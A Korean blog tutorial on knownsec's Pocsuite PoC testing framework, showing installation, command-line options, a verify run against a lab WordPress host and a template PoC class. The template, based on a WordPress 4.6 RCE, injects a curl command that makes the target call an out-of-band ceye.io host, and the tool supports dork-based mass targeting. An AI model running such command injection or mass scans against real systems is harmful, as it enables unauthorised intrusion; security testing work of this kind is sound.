knownsec에서 만든 Pocsuite라는 재미있는 툴(+라이브러리)이 있습니다. 활용하기에 따라 테스팅을 많이 편리하게 해줄 수 있는데요,
간략하게 소개해드릴까 합니다.

What is Pocsuite?

Pocsuite는 PoC 코드를 쉽게 테스트하기 위한 툴입니다. 보통 python, ruby 같은 스크립트로 PoC가 공개되곤 하는데, 이를 여러 대상에 대해 체크하고 결과를 확인하기엔 여간 귀찮죠.. 그래서 이 툴은 외부에 공개된 PoC에 코드를 추가하여 한번에 다수의 도메인을 테스트하고 관리할 수 있게 지원해줍니다.  당연히 라이브러리 기반이고 command line 명령을 지원합니다.

How to install & Use? 

아래 git clone 받아서 직접 코드로 실행해도 되지만.. pip로 이미 올라와 있습니다.
https://github.com/knownsec/Pocsuite

pip 통해 설치해줍시다. (requirement.txt엔 정의되진 않았지만 request도 의존합니다. 저건 어지간해선 있으시겠지만 혹시 모르니..)

# pip install pocsuite
# pip install requests

우선 PocSuite는 2가지 모드를 지원합니다. 하나는 command line, 하나는 interactive

[ Command Mode ]
# pocsuite

                              ,--. ,--.
,---. ,---. ,---.,---.,--.,--`--,-'  '-.,---.  {2.0.8-nongit-20190103}
| .-. | .-. | .--(  .-'|  ||  ,--'-.  .-| .-. :
| '-' ' '-' \ `--.-'  `'  ''  |  | |  | \   --.
|  |-' `---' `---`----' `----'`--' `--'  `----'
`--'                                            http://pocsuite.org

[!] legal disclaimer: Usage of pocsuite for attacking targets without prior mutual consent is illegal.

[*] starting at 04:36:34

[04:36:34] [-] No "url" or "urlFile" or "dork" assigned.


[ Interactive Mode ]
# pcs-console

                              ,--. ,--.
,---. ,---. ,---.,---.,--.,--`--,-'  '-.,---.  {2.0.8-nongit-20190103}
| .-. | .-. | .--(  .-'|  ||  ,--'-.  .-| .-. :
| '-' ' '-' \ `--.-'  `'  ''  |  | |  | \   --.
|  |-' `---' `---`----' `----'`--' `--'  `----'
`--'                                            http://pocsuite.org

Pocsuite>
Pocsuite>
Pocsuite>

Interactive Mode Options

Core Commands Menu (help <command> for details)
===============================================
attack          Attack mode, sends exploit payload
back            Move back from the current Interpreter
banner          Display an awesome framework banner
debug           Enter into python debug mode
exit            Exit the current interpre
help            Show help menu
pocadd          Load available poc(s) from a directory or a file
pocdel          Unload specific poc file(s)
poclist         Show all available pocs / task pocs
seebug          Download pocs from seebug with API Token
set             Set key equal to value
show            Show available options / modules
verify          Verify Mode, checks if a vuln exists or not

Command Mode Options

optional arguments:
  -h, --help            Show help message and exit
  --version             Show program's version number and exit
  --update              Update Pocsuite

target:
  -u URL, --url URL     Target URL (e.g. "http://www.targetsite.com/")
  -f URLFILE, --file URLFILE
                        Scan multiple targets given in a textual file
  -r POCFILE            Load POC from a file (e.g. "_0001_cms_sql_inj.py") or directory (e.g. "modules/")

mode:
  --verify              Run poc with verify mode
  --attack              Run poc with attack mode

request:
  --cookie COOKIE       HTTP Cookie header value
  --referer REFERER     HTTP Referer header value
  --user-agent AGENT    HTTP User-Agent header value
  --random-agent        Use randomly selected HTTP User-Agent header value
  --proxy PROXY         Use a proxy to connect to the target URL
  --proxy-cred PROXYCRED
                        Proxy authentication credentials (name:password)
  --timeout TIMEOUT     Seconds to wait before timeout connection (default 30)
  --retry RETRY         Time out retrials times.
  --delay DELAY         Delay between two request of one thread
  --headers HEADERS     Extra headers (e.g. "key1: value1\nkey2: value2")
  --host HOST           Host in HTTP headers.

params:
  --extra-params EXTRA_PARAMS
                        Extra params (e.g. "{username: '***', password: '***'}")

optimization:
  --threads THREADS     Max number of concurrent HTTP(s) requests (default 1)
  --report REPORT       Save a html report to file (e.g. "./report.html")
  --batch BATCH         Automatically choose defaut choice without asking.
  --requires            Check install_requires
  --quiet               Activate quiet mode, working without logger.
  --requires-freeze     Check install_requires after register.

Zoomeye or Seebug:
  --dork DORK           Zoomeye dork used for search.
  --max-page MAX_PAGE   Max page used in ZoomEye API(10 targets/Page).
  --search-type SEARCH_TYPE
                        search type used in ZoomEye API, web or host
  --vul-keyword VULKEYWORD
                        Seebug keyword used for search.
  --ssv-id SSVID        Seebug SSVID number for target PoC.

How to test with Pocsuite

위에 옵션 참고하면서 보심 좋습니다. 주요 옵션은 이렇습니다.

-r : poc file
-u : url
-f : url list file
--verify : 취약 여부만 체크
--attack : 공격

우선 테스트를 위한 PoC 하나를 받아봅시다 (wordpress RCE이고 knownsec이 이미 Pocsuite 포맷으로 구성한 코드입니다. )

# wget https://raw.githubusercontent.com/knownsec/Pocsuite/dev/modules/wordpress_core_4_6_rce.py

# pocsuite -r 123.py -u http://192.168.0.13:3000 --verify

                              ,--. ,--.
,---. ,---. ,---.,---.,--.,--`--,-'  '-.,---.  {2.0.8-nongit-20190103}
| .-. | .-. | .--(  .-'|  ||  ,--'-.  .-| .-. :
| '-' ' '-' \ `--.-'  `'  ''  |  | |  | \   --.
|  |-' `---' `---`----' `----'`--' `--'  `----'
`--'                                            http://pocsuite.org

[!] legal disclaimer: Usage of pocsuite for attacking targets without prior mutual consent is illegal.

[*] starting at 04:49:24

[04:49:24] [*] checking WordPress Core 4.6 - Unauthenticated Remote Code Execution
[04:49:24] [*] poc:'WordPress Core 4.6 - Unauthenticated Remote Code Execution' target:'http://192.168.0.13:3000'

+---------------------------+----------+--------+-----------+---------+--------+
| target-url                | poc-name | poc-id | component | version | status |
+---------------------------+----------+--------+-----------+---------+--------+
| http://192.168.0.13:3000 |   123    | 93077  | WordPress |   4.6   | failed |
+---------------------------+----------+--------+-----------+---------+--------+
success : 0 / 1

[*] shutting down at 04:49:28

이런식으로 정리된 결과를 볼 수 있습니다.

request 관련 옵션을 따로 줄 수 있는데, 활용하면 Custom한 HTTP Request를 생성할 수 있습니다.
  --cookie COOKIE       HTTP Cookie header value
  --referer REFERER     HTTP Referer header value
  --user-agent AGENT    HTTP User-Agent header value
  --random-agent        Use randomly selected HTTP User-Agent header value
  --proxy PROXY         Use a proxy to connect to the target URL
  --proxy-cred PROXYCRED
                        Proxy authentication credentials (name:password)
  --timeout TIMEOUT     Seconds to wait before timeout connection (default 30)
  --retry RETRY         Time out retrials times.
  --delay DELAY         Delay between two request of one thread
  --headers HEADERS     Extra headers (e.g. "key1: value1\nkey2: value2")
  --host HOST           Host in HTTP headers.

인터렉티브도 비슷비슷합니다. msf랑 비슷하고 음.. 그냥 한번 해보심 딱 옵니다..

How to make PoC file for PocSuite

자 그럼 가장 중요한 부분인데요, 일반 PoC 코드를 PocSuite 적용에 대한 부분입니다. pocsuite가 라이브러리 형태로 제공되기 떄문에 python 코드단에서 import하여 사용할 수 있습니다.

from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register

그다음 가장 중요한 PoC Class를 생성해주고 register() 함수로 PoC를 등록해줍니다.

class TestPOC(POCBase):
    name = ‘PoC 이름 '
    vulID = ’Numbering'
    author = [‘만든이!']
    vulType = 'cmd-exec'
    version = '1.0'    # default version: 1.0
    references = [‘msf module이랑 비슷.. 참조 링크']
    desc = 'PoC에 대한 설명입니다.'

    vulDate = '2013-02-14'
    createDate = '2017-05-03'
    updateDate = '2017-05-04'

    appName = 'WordPress'
    appVersion = '4.6'
    appPowerLink = 'https://wordpress.org'
    samples = ['']

    # verify 시 결과 데이터를 어떻게 줄것인지 정의
    def verify_result(self, flag):
        url = "http://ceye.io/api/record?token=[YOUR CEYE TOKEN]&type=request&filter=wordpress"
        match_string = "wordpress.YOU-CEYE-ACCOUNT.ceye.io/{0}".format(flag)
        try:
            resp = req.get(url, timeout=30)
            if resp.content:
                if match_string in resp.content:
                    return True
        except Exception:
            pass
        return False

    # 실제로 아래 attack, verify가 로직이 들어가는 부분이고
    # 보통의 경우 원래 PoC 코드에서 트리거 시키는 부분을 넣어주 면 될 것 같습니다.

    # attack 모드일 때 동작
    def _attack(self):
        """attack mode"""
        return self._verify()
    # verify 모드일 때 동작
    def _verify(self):
        """verify mode"""
        result = {}
        self.url = self.url + '/wp-login.php?action=lostpassword'
        flag = "".join(random.choice(string.ascii_letters) for _ in xrange(0, 8))
        flag = flag.lower()
        cmd = "/usr/bin/curl wordpress.YOU-CEYE-ACCOUNT.ceye.io/{0}".format(flag)
        resp = send_command(self.url, cmd)
        time.sleep(2)
        if self.verify_result(flag):
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url
        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output

# 등록!
register(TestPOC)

길어보일 수 있으나 복잡한건 아닙니다. 기존 PoC 코드에서 실행 부분들(e.g. exploit, run 등등) 등을 뗴어내어서 인자값을 받도록 바꿔주고 class TestPOC(POCBase): 로 class 선언해서 verify. Attack 부분에 해당 부분을 트리거 해주면 됩니다. 위에 description, title등의 부분은 잘 해놓으면 나중에 보기 편리하겠죠.

Reports

output, report 포맷은 3rd party로 툴을 활용할 떄 중요시 보는 부분인데요, 안타깝게도 html 포맷만 지원합니다.. 그래도 결과를 가볍게 주는편이라 파싱하시는데 부담은 없을듯합니다.

  --report REPORT       Save a html report to file (e.g. "./report.html")

<!DOCTYPE html>
<html lang="zh-cn">
    <head>
        <meta charset="utf-8">
        <title></title>
        <style type="text/css">
        caption{padding-top:8px;padding-bottom:8px;color:#777;text-align:left}th{text-align:left}.table{width:100%;max-width:100%;margin-bottom:20px}.table>thead>tr>th,.table>tbody>tr>th,.table>tfoot>tr>th,.table>thead>tr>td,.table>tbody>tr>td,.table>tfoot>tr>td{padding:8px;line-height:1.42857143;vertical-align:top;border-top:1px solid #ddd}.table>thead>tr>th{vertical-align:bottom;border-bottom:2px solid #ddd}.result0{display:none}.result1{}.status{cursor: pointer;}
        </style>
        <script>
            function showDetail(dom){
                parent = dom.parentElement;
                detail = parent.children[1];
                if (detail == undefined){
                    return;
                };
                if (detail.className == 'result0'){
                    detail.className = 'result1';
                }else{
                    detail.className = 'result0';
                };
            }
        </script>
    </head>
    <body>
        <div class="container">
            <table class="table">
                <thead>
                    <th>target-url</td>  <th>poc-name</td>  <th>poc-id</td>  <th>component</td>  <th>version</td>  <th>status</td>
                </thead>
                <tbody>
                    <tr class='status' onclick='showDetail(this)'> <td>http://192.168.0.13:3000</td>  <td>123</td>  <td>93077</td>  <td>WordPress</td>  <td>4.6</td>  <td>failed</td> </tr>
                </tbody>
            </table>
        </div>
    </body>
</html>

이럴만도 한 이유가 결국 python library로 제공된다는점인데요, 베스트는 퓨어코드로 그대로 쓰는게 아닐까 싶습니다 :)


댓글 없음:

댓글 쓰기